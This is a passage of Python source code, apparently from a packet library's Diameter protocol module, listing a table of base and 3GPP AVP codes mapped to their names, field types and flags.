456: ('Multiple-Services-Credit-Control', AVPNV_Grouped, 64), 457: ('G-S-U-Pool-Reference', AVPNV_Grouped, 64), 458: ('User-Equipment-Info', AVPNV_Grouped, 0), 459: ('User-Equipment-Info-Type', AVP_0_459, 0), 460: ('User-Equipment-Info-Value', AVPNV_OctetString, 0), 461: ('Service-Context-Id', AVPNV_StrLenField, 64), 462: ('EAP-Payload', AVPNV_OctetString, 64), 463: ('EAP-Reissued-Payload', AVPNV_OctetString, 64), 464: ('EAP-Master-Session-Key', AVPNV_OctetString, 64), 465: ('Accounting-EAP-Auth-Method', AVPNV_Unsigned64, 64), 480: ('Accounting-Record-Type', AVP_0_480, 64), 483: ('Accounting-Realtime-Required', AVP_0_483, 64), 485: ('Accounting-Record-Number', AVPNV_Unsigned32, 64), 486: ('MIP6-Agent-Info', AVPNV_Grouped, 64), 487: ('MIP-Careof-Address', AVPNV_Address, 64), 488: ('MIP-Authenticator', AVPNV_OctetString, 64), 489: ('MIP-MAC-Mobility-Data', AVPNV_OctetString, 64), 490: ('MIP-Timestamp', AVPNV_OctetString, 64), 491: ('MIP-MN-HA-SPI', AVPNV_Unsigned32, 64), 492: ('MIP-MN-HA-MSA', AVPNV_Grouped, 64), 493: ('Service-Selection', AVPNV_StrLenField, 64), 494: ('MIP6-Auth-Mode', AVP_0_494, 64), 506: ('Mobile-Node-Identifier', AVPNV_StrLenField, 64), 508: ('QoS-Resources', AVPNV_Grouped, 64), 509: ('Filter-Rule', AVPNV_Grouped, 64), 510: ('Filter-Rule-Precedence', AVPNV_Unsigned32, 64), 511: ('Classifier', AVPNV_Grouped, 64), 512: ('Classifier-ID', AVPNV_OctetString, 64), 513: ('Protocol', AVP_0_513, 64), 514: ('Direction', AVP_0_514, 64), 515: ('From-Spec', AVPNV_Grouped, 64), 516: ('To-Spec', AVPNV_Grouped, 64), 517: ('Negated', AVP_0_517, 64), 518: ('IP-Address', AVPNV_Address, 64), 519: ('IP-Address-Range', AVPNV_Grouped, 64), 520: ('IP-Address-Start', AVPNV_Address, 64), 521: ('IP-Address-End', AVPNV_Address, 64), 522: ('IP-Address-Mask', AVPNV_Grouped, 64), 523: ('IP-Mask-Bit-Mask-Width', AVPNV_Unsigned32, 64), 524: ('MAC-Address', AVPNV_OctetString, 64), 525: ('MAC-Address-Mask', AVPNV_Grouped, 64), 526: ('MAC-Address-Mask-Pattern', AVPNV_OctetString, 64), 527: ('EUI64-Address', AVPNV_OctetString, 64), 528: ('EUI64-Address-Mask', AVPNV_Grouped, 64), 529: ('EUI64-Address-Mask-Pattern', AVPNV_OctetString, 64), 530: ('Port', AVPNV_Integer32, 64), 531: ('Port-Range', AVPNV_Grouped, 64), 532: ('Port-Start', AVPNV_Integer32, 64), 533: ('Port-End', AVPNV_Integer32, 64), 534: ('Use-Assigned-Address', AVP_0_534, 64), 535: ('Diffserv-Code-Point', AVP_0_535, 64), 536: ('Fragmentation-Flag', AVP_0_536, 64), 537: ('IP-Option', AVPNV_Grouped, 64), 538: ('IP-Option-Type', AVP_0_538, 64), 539: ('IP-Option-Value', AVPNV_OctetString, 64), 540: ('TCP-Option', AVPNV_Grouped, 64), 541: ('TCP-Option-Type', AVP_0_541, 64), 542: ('TCP-Option-Value', AVPNV_OctetString, 64), 543: ('TCP-Flags', AVPNV_Grouped, 64), 544: ('TCP-Flag-Type', AVPNV_Unsigned32, 64), 545: ('ICMP-Type', AVPNV_Grouped, 64), 546: ('ICMP-Type-Number', AVP_0_546, 64), 547: ('ICMP-Code', AVP_0_547, 64), 548: ('ETH-Option', AVPNV_Grouped, 64), 549: ('ETH-Proto-Type', AVPNV_Grouped, 64), 550: ('ETH-Ether-Type', AVPNV_OctetString, 64), 551: ('ETH-SAP', AVPNV_OctetString, 64), 552: ('VLAN-ID-Range', AVPNV_Grouped, 64), 553: ('S-VID-Start', AVPNV_Unsigned32, 64), 554: ('S-VID-End', AVPNV_Unsigned32, 64), 555: ('C-VID-Start', AVPNV_Unsigned32, 64), 556: ('C-VID-End', AVPNV_Unsigned32, 64), 557: ('User-Priority-Range', AVPNV_Grouped, 64), 558: ('Low-User-Priority', AVPNV_Unsigned32, 64), 559: ('High-User-Priority', AVPNV_Unsigned32, 64), 560: ('Time-Of-Day-Condition', AVPNV_Grouped, 64), 561: ('Time-Of-Day-Start', AVPNV_Unsigned32, 64), 562: ('Time-Of-Day-End', AVPNV_Unsigned32, 64), 563: ('Day-Of-Week-Mask', AVPNV_Unsigned32, 64), 564: ('Day-Of-Month-Mask', AVPNV_Unsigned32, 64), 565: ('Month-Of-Year-Mask', AVPNV_Unsigned32, 64), 566: ('Absolute-Start-Time', AVPNV_Time, 64), 567: ('Absolute-Start-Fractional-Seconds', AVPNV_Unsigned32, 64), 568: ('Absolute-End-Time', AVPNV_Time, 64), 569: ('Absolute-End-Fractional-Seconds', AVPNV_Unsigned32, 64), 570: ('Timezone-Flag', AVP_0_570, 64), 571: ('Timezone-Offset', AVPNV_Integer32, 64), 572: ('Treatment-Action', AVPNV_Grouped, 64), 573: ('QoS-Profile-Id', AVPNV_Unsigned32, 64), 574: ('QoS-Profile-Template', AVPNV_Grouped, 64), 575: ('QoS-Semantics', AVP_0_575, 64), 576: ('QoS-Parameters', AVPNV_Grouped, 64), 577: ('Excess-Treatment', AVPNV_Grouped, 64), 578: ('QoS-Capability', AVPNV_Grouped, 64), 618: ('ERP-RK-Request', AVPNV_Grouped, 64), 619: ('ERP-Realm', AVPNV_StrLenField, 64), }, 10415: { 13: ('3GPP-Charging-Characteristics', AVPV_StrLenField, 192), 318: ('3GPP-AAA-Server-Name', AVPV_StrLenField, 192), 500: ('Abort-Cause', AVP_10415_500, 192), 501: ('Access-Network-Charging-Address', AVPV_Address, 192), 502: ('Access-Network-Charging-Identifier', AVPV_Grouped, 192), 503: ('Access-Network-Charging-Identifier-Value', AVPV_OctetString, 192), # noqa: E501 504: ('AF-Application-Identifier', AVPV_OctetString, 192), 505: ('AF-Charging-Identifier', AVPV_OctetString, 192), 506: ('Authorization-Token', AVPV_OctetString, 192), 507: ('Flow-Description', AVPV_IPFilterRule, 192), 508: ('Flow-Grouping', AVPV_Grouped, 192), 509: ('Flow-Number', AVPV_Unsigned32, 192), 510: ('Flows', AVPV_Grouped, 192), 511: ('Flow-Status', AVP_10415_511, 192), 512: ('Flow-Usage', AVP_10415_512, 192), 513: ('Specific-Action', AVP_10415_513, 192), 515: ('Max-Requested-Bandwidth-DL', AVPV_Unsigned32, 192), 516: ('Max-Requested-Bandwidth-UL', AVPV_Unsigned32, 192), 517: ('Media-Component-Description', AVPV_Grouped, 192), 518: ('Media-Component-Number', AVPV_Unsigned32, 192), 519: ('Media-Sub-Component', AVPV_Grouped, 192), 520: ('Media-Type', AVP_10415_520, 192), 521: ('RR-Bandwidth', AVPV_Unsigned32, 192), 522: ('RS-Bandwidth', AVPV_Unsigned32, 192), 523: ('SIP-Forking-Indication', AVP_10415_523, 192), 525: ('Service-URN', AVPV_OctetString, 192), 526: ('Acceptable-Service-Info', AVPV_Grouped, 192), 527: ('Service-Info-Status', AVP_10415_527, 192), 528: ('MPS-Identifier', AVPV_OctetString, 128), 529: ('AF-Signalling-Protocol', AVP_10415_529, 128), 531: ('Sponsor-Identity', AVPV_StrLenField, 128), 532: ('Application-Service-Provider-Identity', AVPV_StrLenField, 128), 533: ('Rx-Request-Type', AVP_10415_533, 128), 534: ('Min-Requested-Bandwidth-DL', AVPV_Unsigned32, 128), 535: ('Min-Requested-Bandwidth-UL', AVPV_Unsigned32, 128), 536: ('Required-Access-Info', AVP_10415_536, 128), 537: ('IP-Domain-Id', AVPV_OctetString, 128), 538: ('GCS-Identifier', AVPV_OctetString, 128), 539: ('Sharing-Key-DL', AVPV_Unsigned32, 128), 540: ('Sharing-Key-UL', AVPV_Unsigned32, 128), 541: ('Retry-Interval', AVPV_Unsigned32, 128), 600: ('Visited-Network-Identifier', AVPV_OctetString, 192), 601: ('Public-Identity', AVPV_StrLenField, 192), 602: ('Server-Name', AVPV_StrLenField, 192), 603: ('Server-Capabilities', AVPV_Grouped, 192), 604: ('Mandatory-Capability', AVPV_Unsigned32, 192), 605: ('Optional-Capability', AVPV_Unsigned32, 192), 606: ('User-Data', AVPV_OctetString, 192), 607: ('SIP-Number-Auth-Items', AVPV_Unsigned32, 192), 608: ('SIP-Authentication-Scheme', AVPV_StrLenField, 192), 609: ('SIP-Authenticate', AVPV_OctetString, 192), 610: ('SIP-Authorization', AVPV_OctetString, 192), 611: ('SIP-Authentication-Context', AVPV_OctetString, 192), 612: ('SIP-Auth-Data-Item', AVPV_Grouped, 192), 613: ('SIP-Item-Number', AVPV_Unsigned32, 192), 614: ('Server-Assignment-Type', AVP_10415_614, 192), 615: ('Deregistration-Reason', AVPV_Grouped, 192), 616: ('Reason-Code', AVP_10415_616, 192), 617: ('Reason-Info', AVPV_StrLenField, 192), 618: ('Charging-Information', AVPV_Grouped, 192), 619: ('Primary-Event-Charging-Function-Name', AVPV_StrLenField, 192), 620: ('Secondary-Event-Charging-Function-Name', AVPV_StrLenField, 192), 621: ('Primary-Charging-Collection-Function-Name', AVPV_StrLenField, 192), # noqa: E501 622: ('Secondary-Charging-Collection-Function-Name', AVPV_StrLenField, 192), # noqa: E501 623: ('User-Authorization-Type', AVP_10415_623, 192), 624: ('User-Data-Already-Available', AVP_10415_624, 192), 625: ('Confidentiality-Key', AVPV_OctetString, 192), 626: ('Integrity-Key', AVPV_OctetString, 192), 628: ('Supported-Features', AVPV_Grouped, 128), 629: ('Feature-List-ID', AVPV_Unsigned32, 128), 630: ('Feature-List', AVP_10415_630, 128), 631: ('Supported-Applications', AVPV_Grouped, 128), 632: ('Associated-Identities', AVPV_Grouped, 128), 633: ('Originating-Request', AVP_10415_633, 192), 634: ('Wildcarded-Public-Identity', AVPV_StrLenField, 128), 635: ('SIP-Digest-Authenticate', AVPV_Grouped, 128), 636: ('Wildcarded-IMPU', AVPV_StrLenField, 128), 637: ('UAR-Flags', AVPV_Unsigned32, 128), 638: ('Loose-Route-Indication', AVP_10415_638, 128), 639: ('SCSCF-Restoration-Info', AVPV_Grouped, 128), 640: ('Path', AVPV_OctetString, 128), 641: ('Contact', AVPV_OctetString, 128), 642: ('Subscription-Info', AVPV_Grouped, 128), 643: ('Call-ID-SIP-Header', AVPV_OctetString, 128), 644: ('From-SIP-Header', AVPV_OctetString, 128), 645: ('To-SIP-Header', AVPV_OctetString, 128), 646: ('Record-Route', AVPV_OctetString, 128), 647: ('Associated-Registered-Identities', AVPV_Grouped, 128), 648: ('Multiple-Registration-Indication', AVP_10415_648, 128), 649: ('Restoration-Info', AVPV_Grouped, 128), 650: ('Session-Priority', AVP_10415_650, 128), 651: ('Identity-with-Emergency-Registration', AVPV_Grouped, 128), 652: ('Priviledged-Sender-Indication', AVP_10415_652, 128), 653: ('LIA-Flags', AVPV_Unsigned32, 128), 654: ('Initial-CSeq-Sequence-Number', AVPV_Unsigned32, 128), 655: ('SAR-Flags', AVPV_Unsigned32, 128), 700: ('User-Identity', AVPV_Grouped, 192), 701: ('MSISDN', AVP_10415_701, 192), 702: ('User-Data', AVPV_OctetString, 192), 703: ('Data-Reference', AVP_10415_703, 192), 704: ('Service-Indication', AVPV_OctetString, 192), 705: ('Subs-Req-Type', AVP_10415_705, 192), 706: ('Requested-Domain', AVP_10415_706, 192), 707: ('Current-Location', AVP_10415_707, 192), 708: ('Identity-Set', AVP_10415_708, 128), 709: ('Expiry-Time', AVPV_Time, 128), 710: ('Send-Data-Indication', AVP_10415_710, 128), 711: ('DSAI-Tag', AVPV_OctetString, 192), 712: ('One-Time-Notification', AVP_10415_712, 128), 713: ('Requested-Nodes', AVPV_Unsigned32, 128), 714: ('Serving-Node-Indication', AVP_10415_714, 128), 715: ('Repository-Data-ID', AVPV_Grouped, 128), 716: ('Sequence-Number', AVPV_Unsigned32, 128), 717: ('Pre-paging-Supported', AVP_10415_717, 128), 718: ('Local-Time-Zone-Indication', AVP_10415_718, 128), 719: ('UDR-Flags', AVPV_Unsigned32, 128), 720: ('Call-Reference-Info', AVPV_Grouped, 128), 721: ('Call-Reference-Number', AVPV_OctetString, 128), 722: ('AS-Number', AVPV_OctetString, 128), 823: ('Event-Type', AVPV_Grouped, 192), 824: ('SIP-Method', AVPV_StrLenField, 192), 825: ('Event', AVPV_StrLenField, 192), 826: ('Content-Type', AVPV_StrLenField, 192), 827: ('Content-Length', AVPV_Unsigned32, 192), 828: ('Content-Disposition', AVPV_StrLenField, 192), 829: ('Role-Of-Node', AVP_10415_829, 192), 830: ('Session-Id', AVPV_StrLenField, 192), 831: ('Calling-Party-Address', AVPV_StrLenField, 192), 832: ('Called-Party-Address', AVPV_StrLenField, 192), 833: ('Time-Stamps', AVPV_Grouped, 192), 834: ('SIP-Request-Timestamp', AVPV_Time, 192), 835: ('SIP-Response-Timestamp', AVPV_Time, 192), 836: ('Application-Server', AVPV_StrLenField, 192), 837: ('Application-provided-called-party-address', AVPV_StrLenField, 192), # noqa: E501 838: ('Inter-Operator-Identifier', AVPV_Grouped, 192), 839: ('Originating-IOI', AVPV_StrLenField, 192), 840: ('Terminating-IOI', AVPV_StrLenField, 192), 841: ('IMS-Charging-Identifier', AVPV_StrLenField, 192), 842: ('SDP-Session-Description', AVPV_StrLenField, 192), 843: ('SDP-Media-Component', AVPV_Grouped, 192), 844: ('SDP-Media-Name', AVPV_StrLenField, 192), 845: ('SDP-Media-Description', AVPV_StrLenField, 192), 846: ('CG-Address', AVPV_Address, 192), 847: ('GGSN-Address', AVPV_Address, 192), 848: ('Served-Party-IP-Address', AVPV_Address, 192), 849: ('Authorised-QoS', AVPV_StrLenField, 192), 850: ('Application-Server-Information', AVPV_Grouped, 192), 851: ('Trunk-Group-Id', AVPV_Grouped, 192), 852: ('Incoming-Trunk-Group-Id', AVPV_StrLenField, 192), 853: ('Outgoing-Trunk-Group-Id', AVPV_StrLenField, 192), 854: ('Bearer-Service', AVPV_OctetString, 192), 855: ('Service-Id', AVPV_StrLenField, 192), 856: ('Associated-URI', AVPV_StrLenField, 192), 857: ('Charged-Party', AVPV_StrLenField, 192), 858: ('PoC-Controlling-Address', AVPV_StrLenField, 192), 859: ('PoC-Group-Name', AVPV_StrLenField, 192), 861: ('Cause-Code', AVPV_Integer32, 192), 862: ('Node-Functionality', AVP_10415_862, 192), 864: ('Originator', AVP_10415_864, 192), 865: ('PS-Furnish-Charging-Information', AVPV_Grouped, 192), 866: ('PS-Free-Format-Data', AVPV_OctetString, 192), 867: ('PS-Append-Free-Format-Data', AVP_10415_867, 192), 868: ('Time-Quota-Threshold', AVPV_Unsigned32, 192), 869: ('Volume-Quota-Threshold', AVPV_Unsigned32, 192), 870: ('Trigger-Type', AVP_10415_870, 192), 871: ('Quota-Holding-Time', AVPV_Unsigned32, 192), 872: ('Reporting-Reason', AVP_10415_872, 192), 873: ('Service-Information', AVPV_Grouped, 192), 874: ('PS-Information', AVPV_Grouped, 192), 876: ('IMS-Information', AVPV_Grouped, 192), 877: ('MMS-Information', AVPV_Grouped, 192), 878: ('LCS-Information', AVPV_Grouped, 192), 879: ('PoC-Information', AVPV_Grouped, 192), 880: ('MBMS-Information', AVPV_Grouped, 192), 881: ('Quota-Consumption-Time', AVPV_Unsigned32, 192), 882: ('Media-Initiator-Flag', AVP_10415_882, 192), 883: ('PoC-Server-Role', AVP_10415_883, 192), 884: ('PoC-Session-Type', AVP_10415_884, 192), 885: ('Number-Of-Participants', AVPV_Unsigned32, 192), 887: ('Participants-Involved', AVPV_StrLenField, 192), 888: ('Expires', AVPV_Unsigned32, 192), 889: ('Message-Body', AVPV_Grouped, 192), 897: ('Address-Data', AVPV_StrLenField, 192), 898: ('Address-Domain', AVPV_Grouped, 192), 899: ('Address-Type', AVP_10415_899, 192), 900: ('TMGI', AVPV_OctetString, 192), 901: ('Required-MBMS-Bearer-Capabilities', AVPV_StrLenField, 192), 902: ('MBMS-StartStop-Indication', AVP_10415_902, 192), 903: ('MBMS-Service-Area', AVPV_OctetString, 192), 904: ('MBMS-Session-Duration', AVPV_OctetString, 192), 905: ('Alternative-APN', AVPV_StrLenField, 192), 906: ('MBMS-Service-Type', AVP_10415_906, 192), 907: ('MBMS-2G-3G-Indicator', AVP_10415_907, 192), 909: ('RAI', AVPV_StrLenField, 192), 910: ('Additional-MBMS-Trace-Info', AVPV_OctetString, 192), 911: ('MBMS-Time-To-Data-Transfer', AVPV_OctetString, 192), 920: ('MBMS-Flow-Identifier', AVPV_OctetString, 192), 921: ('CN-IP-Multicast-Distribution', AVP_10415_921, 192), 922: ('MBMS-HC-Indicator', AVP_10415_922, 192), 1000: ('Bearer-Usage', AVP_10415_1000, 192), 1001: ('Charging-Rule-Install', AVPV_Grouped, 192), 1002: ('Charging-Rule-Remove', AVPV_Grouped, 192), 1003: ('Charging-Rule-Definition', AVPV_Grouped, 192), 1004: ('Charging-Rule-Base-Name', AVPV_StrLenField, 192), 1005: ('Charging-Rule-Name', AVPV_OctetString, 192), 1006: ('Event-Trigger', AVP_10415_1006, 192), 1007: ('Metering-Method', AVP_10415_1007, 192), 1008: ('Offline', AVP_10415_1008, 192), 1009: ('Online', AVP_10415_1009, 192), 1010: ('Precedence', AVPV_Unsigned32, 192), 1011: ('Reporting-Level', AVP_10415_1011, 192), 1012: ('TFT-Filter', AVPV_IPFilterRule, 192), 1013: ('TFT-Packet-Filter-Information', AVPV_Grouped, 192), 1014: ('ToS-Traffic-Class', AVPV_OctetString, 192), 1015: ('PDP-Session-Operation', AVP_10415_1015, 192), 1018: ('Charging-Rule-Report', AVPV_Grouped, 192), 1019: ('PCC-Rule-Status', AVP_10415_1019, 192), 1020: ('Bearer-Identifier', AVPV_OctetString, 192), 1021: ('Bearer-Operation', AVP_10415_1021, 192), 1022: ('Access-Network-Charging-Identifier-Gx', AVPV_Grouped, 192), 1023: ('Bearer-Control-Mode', AVP_10415_1023, 192), 1024: ('Network-Request-Support', AVP_10415_1024, 192), 1025: ('Guaranteed-Bitrate-DL', AVPV_Unsigned32, 192), 1026: ('Guaranteed-Bitrate-UL', AVPV_Unsigned32, 192), 1027: ('IP-CAN-Type', AVP_10415_1027, 192), 1028: ('QoS-Class-Identifier', AVP_10415_1028, 192), 1032: ('RAT-Type', AVP_10415_1032, 128), 1033: ('Event-Report-Indication', AVPV_Grouped, 128), 1034: ('Allocation-Retention-Priority', AVPV_Grouped, 128), 1035: ('CoA-IP-Address', AVPV_Address, 128), 1036: ('Tunnel-Header-Filter', AVPV_IPFilterRule, 128), 1037: ('Tunnel-Header-Length', AVPV_Unsigned32, 128), 1038: ('Tunnel-Information', AVPV_Grouped, 128), 1039: ('CoA-Information', AVPV_Grouped, 128), 1040: ('APN-Aggregate-Max-Bitrate-DL', AVPV_Unsigned32, 128), 1041: ('APN-Aggregate-Max-Bitrate-UL', AVPV_Unsigned32, 128), 1042: ('Revalidation-Time', AVPV_Time, 192), 1043: ('Rule-Activation-Time', AVPV_Time, 192), 1044: ('Rule-Deactivation-Time', AVPV_Time, 192), 1045: ('Session-Release-Cause', AVP_10415_1045, 192), 1046: ('Priority-Level', AVPV_Unsigned32, 128), 1047: ('Pre-emption-Capability', AVP_10415_1047, 128), 1048: ('Pre-emption-Vulnerability', AVP_10415_1048, 128), 1049: ('Default-EPS-Bearer-QoS', AVPV_Grouped, 128), 1050: ('AN-GW-Address', AVPV_Address, 128), 1056: ('Security-Parameter-Index', AVPV_OctetString, 128), 1057: ('Flow-Label', AVPV_OctetString, 128), 1058: ('Flow-Information', AVPV_Grouped, 128), 1059: ('Packet-Filter-Content', AVPV_IPFilterRule, 128), 1060: ('Packet-Filter-Identifier', AVPV_OctetString, 128), 1061: ('Packet-Filter-Information', AVPV_Grouped, 128), 1062: ('Packet-Filter-Operation', AVP_10415_1062, 128), 1063: ('Resource-Allocation-Notification', AVP_10415_1063, 128), 1065: ('PDN-Connection-ID', AVPV_OctetString, 128), 1066: ('Monitoring-Key', AVPV_OctetString, 128), 1067: ('Usage-Monitoring-Information', AVPV_Grouped, 128), 1068: ('Usage-Monitoring-Level', AVP_10415_1068, 128), 1069: ('Usage-Monitoring-Report', AVP_10415_1069, 128), 1070: ('Usage-Monitoring-Support', AVP_10415_1070, 128), 1071: ('CSG-Information-Reporting', AVP_10415_1071, 128), 1072: ('Packet-Filter-Usage', AVP_10415_1072, 128), 1073: ('Charging-Correlation-Indicator', AVP_10415_1073, 128), 1075: ('Routing-Rule-Remove', AVPV_Grouped, 128), 1076: ('Routing-Rule-Definition', AVPV_Grouped, 128), 1077: ('Routing-Rule-Identifier', AVPV_OctetString, 128), 1078: ('Routing-Filter', AVPV_Grouped, 128), 1079: ('Routing-IP-Address', AVPV_Address, 128), 1080: ('Flow-Direction', AVP_10415_1080, 128), 1082: ('Credit-Management-Status', AVPV_Unsigned32, 128), 1085: ('Redirect-Information', AVPV_Grouped, 128), 1086: ('Redirect-Support', AVP_10415_1086, 128), 1087: ('TDF-Information', AVPV_Grouped, 128), 1088: ('TDF-Application-Identifier', AVPV_OctetString, 128), 1089: ('TDF-Destination-Host', AVPV_StrLenField, 128), 1090: ('TDF-Destination-Realm', AVPV_StrLenField, 128), 1091: ('TDF-IP-Address', AVPV_Address, 128), 1098: ('Application-Detection-Information', AVPV_Grouped, 128), 1099: ('PS-to-CS-Session-Continuity', AVP_10415_1099, 128), 1200: ('Domain-Name', AVPV_StrLenField, 192), 1203: ('MM-Content-Type', AVPV_Grouped, 192), 1204: ('Type-Number', AVP_10415_1204, 192), 1205: ('Additional-Type-Information', AVPV_StrLenField, 192), 1206: ('Content-Size', AVPV_Unsigned32, 192), 1207: ('Additional-Content-Information', AVPV_Grouped, 192), 1208: ('Addressee-Type', AVP_10415_1208, 192), 1209: ('Priority', AVP_10415_1209, 192), 1211: ('Message-Type', AVP_10415_1211, 192), 1212: ('Message-Size', AVPV_Unsigned32, 192), 1213: ('Message-Class', AVPV_Grouped, 192), 1214: ('Class-Identifier', AVP_10415_1214, 192), 1215: ('Token-Text', AVPV_StrLenField, 192), 1216: ('Delivery-Report-Requested', AVP_10415_1216, 192), 1217: ('Adaptations', AVP_10415_1217, 192), 1218: ('Applic-ID', AVPV_StrLenField, 192), 1219: ('Aux-Applic-Info', AVPV_StrLenField, 192), 1220: ('Content-Class', AVP_10415_1220, 192), 1221: ('DRM-Content', AVP_10415_1221, 192), 1222: ('Read-Reply-Report-Requested', AVP_10415_1222, 192), 1223: ('Reply-Applic-ID', AVPV_StrLenField, 192), 1224: ('File-Repair-Supported', AVP_10415_1224, 192), 1225: ('MBMS-User-Service-Type', AVP_10415_1225, 192), 1226: ('Unit-Quota-Threshold', AVPV_Unsigned32, 192), 1227: ('PDP-Address', AVPV_Address, 192), 1228: ('SGSN-Address', AVPV_Address, 192), 1229: ('PoC-Session-Id', AVPV_StrLenField, 192), 1230: ('Deferred-Location-Event-Type', AVPV_StrLenField, 192), 1231: ('LCS-APN', AVPV_StrLenField, 192), 1245: ('Positioning-Data', AVPV_StrLenField, 192), 1247: ('PDP-Context-Type', AVP_10415_1247, 192), 1248: ('MMBox-Storage-Requested', AVP_10415_1248, 192), 1250: ('Called-Asserted-Identity', AVPV_StrLenField, 192), 1251: ('Requested-Party-Address', AVPV_StrLenField, 192), 1252: ('PoC-User-Role', AVPV_Grouped, 192), 1253: ('PoC-User-Role-IDs', AVPV_StrLenField, 192), 1254: ('PoC-User-Role-info-Units', AVP_10415_1254, 192), 1255: ('Talk-Burst-Exchange', AVPV_Grouped, 192), 1258: ('Event-Charging-TimeStamp', AVPV_Time, 192), 1259: ('Participant-Access-Priority', AVP_10415_1259, 192), 1260: ('Participant-Group', AVPV_Grouped, 192), 1261: ('PoC-Change-Condition', AVP_10415_1261, 192), 1262: ('PoC-Change-Time', AVPV_Time, 192), 1263: ('Access-Network-Information', AVPV_OctetString, 192), 1264: ('Trigger', AVPV_Grouped, 192), 1265: ('Base-Time-Interval', AVPV_Unsigned32, 192), 1266: ('Envelope', AVPV_Grouped, 192), 1267: ('Envelope-End-Time', AVPV_Time, 192), 1268: ('Envelope-Reporting', AVP_10415_1268, 192), 1269: ('Envelope-Start-Time', AVPV_Time, 192), 1270: ('Time-Quota-Mechanism', AVPV_Grouped, 192), 1271: ('Time-Quota-Type', AVP_10415_1271, 192), 1272: ('Early-Media-Description', AVPV_Grouped, 192), 1273: ('SDP-TimeStamps', AVPV_Grouped, 192), 1274: ('SDP-Offer-Timestamp', AVPV_Time, 192), 1275: ('SDP-Answer-Timestamp', AVPV_Time, 192), 1276: ('AF-Correlation-Information', AVPV_Grouped, 192), 1277: ('PoC-Session-Initiation-Type', AVP_10415_1277, 192), 1278: ('Offline-Charging', AVPV_Grouped, 192), 1279: ('User-Participating-Type', AVP_10415_1279, 192), 1281: ('IMS-Communication-Service-Identifier', AVPV_StrLenField, 192), 1282: ('Number-Of-Received-Talk-Bursts', AVPV_Unsigned32, 192), 1283: ('Number-Of-Talk-Bursts', AVPV_Unsigned32, 192), 1284: ('Received-Talk-Burst-Time', AVPV_Unsigned32, 192), 1285: ('Received-Talk-Burst-Volume', AVPV_Unsigned32, 192), 1286: ('Talk-Burst-Time', AVPV_Unsigned32, 192), 1287: ('Talk-Burst-Volume', AVPV_Unsigned32, 192), 1288: ('Media-Initiator-Party', AVPV_StrLenField, 192), 1400: ('Subscription-Data', AVPV_Grouped, 192), 1401: ('Terminal-Information', AVPV_Grouped, 192), 1402: ('IMEI', AVPV_StrLenField, 192), 1403: ('Software-Version', AVPV_StrLenField, 192), 1404: ('QoS-Subscribed', AVPV_OctetString, 192), 1405: ('ULR-Flags', AVPV_Unsigned32, 192), 1406: ('ULA-Flags', AVPV_Unsigned32, 192), 1407: ('Visited-PLMN-Id', AVPV_OctetString, 192), 1408: ('Requested-EUTRAN-Authentication-Info', AVPV_Grouped, 192), 1409: ('GERAN-Authentication-Info', AVPV_Grouped, 192), 1410: ('Number-Of-Requested-Vectors', AVPV_Unsigned32, 192), 1411: ('Re-Synchronization-Info', AVPV_OctetString, 192), 1412: ('Immediate-Response-Preferred', AVPV_Unsigned32, 192), 1413: ('Authentication-Info', AVPV_Grouped, 192), 1414: ('E-UTRAN-Vector', AVPV_Grouped, 192), 1415: ('UTRAN-Vector', AVPV_Grouped, 192), 1416: ('GERAN-Vector', AVPV_Grouped, 192), 1417: ('Network-Access-Mode', AVP_10415_1417, 192), 1418: ('HPLMN-ODB', AVPV_Unsigned32, 192), 1419: ('Item-Number', AVPV_Unsigned32, 192), 1420: ('Cancellation-Type', AVP_10415_1420, 192), 1421: ('DSR-Flags', AVPV_Unsigned32, 192), 1422: ('DSA-Flags', AVPV_Unsigned32, 192), 1423: ('Context-Identifier', AVPV_Unsigned32, 192), 1424: ('Subscriber-Status', AVP_10415_1424, 192), 1425: ('Operator-Determined-Barring', AVPV_Unsigned32, 192), 1426: ('Access-Restriction-Data', AVPV_Unsigned32, 192), 1427: ('APN-OI-Replacement', AVPV_StrLenField, 192), 1428: ('All-APN-Configurations-Included-Indicator', AVP_10415_1428, 192), # noqa: E501 1429: ('APN-Configuration-Profile', AVPV_Grouped, 192), 1430: ('APN-Configuration', AVPV_Grouped, 192), 1431: ('EPS-Subscribed-QoS-Profile', AVPV_Grouped, 192), 1432: ('VPLMN-Dynamic-Address-Allowed', AVP_10415_1432, 192), 1433: ('STN-SR', AVPV_OctetString, 192), 1434: ('Alert-Reason', AVP_10415_1434, 192), 1435: ('AMBR', AVPV_Grouped, 192), 1437: ('CSG-Id', AVPV_Unsigned32, 192), 1438: ('PDN-GW-Allocation-Type', AVP_10415_1438, 192), 1439: ('Expiration-Date', AVPV_Time, 192), 1440: ('RAT-Frequency-Selection-Priority-ID', AVPV_Unsigned32, 192), 1441: ('IDA-Flags', AVPV_Unsigned32, 192), 1442: ('PUA-Flags', AVPV_Unsigned32, 192), 1443: ('NOR-Flags', AVPV_Unsigned32, 192), 1444: ('User-Id', AVPV_StrLenField, 128), 1445: ('Equipment-Status', AVP_10415_1445, 192), 1446: ('Regional-Subscription-Zone-Code', AVPV_OctetString, 192), 1447: ('RAND', AVPV_OctetString, 192), 1448: ('XRES', AVPV_OctetString, 192), 1449: ('AUTN', AVPV_OctetString, 192), 1450: ('KASME', AVPV_OctetString, 192), 1452: ('Trace-Collection-Entity', AVPV_Address, 192), 1453: ('Kc', AVPV_OctetString, 192), 1454: ('SRES', AVPV_OctetString, 192), 1456: ('PDN-Type', AVP_10415_1456, 192), 1457: ('Roaming-Restricted-Due-To-Unsupported-Feature', AVP_10415_1457, 192), # noqa: E501 1458: ('Trace-Data', AVPV_Grouped, 192), 1459: ('Trace-Reference', AVPV_OctetString, 192), 1462: ('Trace-Depth', AVP_10415_1462, 192), 1463: ('Trace-NE-Type-List', AVPV_OctetString, 192), 1464: ('Trace-Interface-List', AVPV_OctetString, 192), 1465: ('Trace-Event-List', AVPV_OctetString, 192), 1466: ('OMC-Id', AVPV_OctetString, 192), 1467: ('GPRS-Subscription-Data', AVPV_Grouped, 192), 1468: ('Complete-Data-List-Included-Indicator', AVP_10415_1468, 192), 1469: ('PDP-Context', AVPV_Grouped, 192), 1470: ('PDP-Type', AVPV_OctetString, 192), 1471: ('3GPP2-MEID', AVPV_OctetString, 192), 1472: ('Specific-APN-Info', AVPV_Grouped, 192), 1473: ('LCS-Info', AVPV_Grouped, 192), 1474: ('GMLC-Number', AVPV_OctetString, 192), 1475: ('LCS-PrivacyException', AVPV_Grouped, 192), 1476: ('SS-Code', AVPV_OctetString, 192), 1477: ('SS-Status', AVPV_OctetString, 192), 1478: ('Notification-To-UE-User', AVP_10415_1478, 192), 1479: ('External-Client', AVPV_Grouped, 192), 1480: ('Client-Identity', 